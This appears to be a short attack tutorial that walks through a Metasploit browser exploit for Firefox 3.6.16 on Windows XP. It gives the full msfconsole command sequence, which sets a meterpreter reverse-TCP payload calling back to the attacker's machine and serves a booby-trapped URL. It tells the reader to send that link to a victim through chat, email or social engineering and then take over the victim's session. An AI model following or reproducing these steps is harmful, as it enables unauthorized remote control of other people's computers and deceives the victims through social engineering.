This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing abitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine
Now an URL you should give to your victim http://192.168.1.4:8080/mozillanews
Exploit Targets
Mozilla Firefox 3.6.16
Windows XP SP 2
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/windows/browser/Mozilla_reduceright
Msf exploit (Mozilla_reduceright)>set payload windows/meterpreter/reverse_tcp
Msf exploit (Mozilla_reduceright)>set lhost 192.168.1.4 (IP of Local Host)
Msf exploit (Mozilla_reduceright)>set srvhost 192.168.1.4 (This must be an address on the local machine)
Msf exploit (Mozilla_reduceright)>set uripath mozillanews (The Url to use for this exploit)
Msf exploit (Mozilla_reduceright)>exploit
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“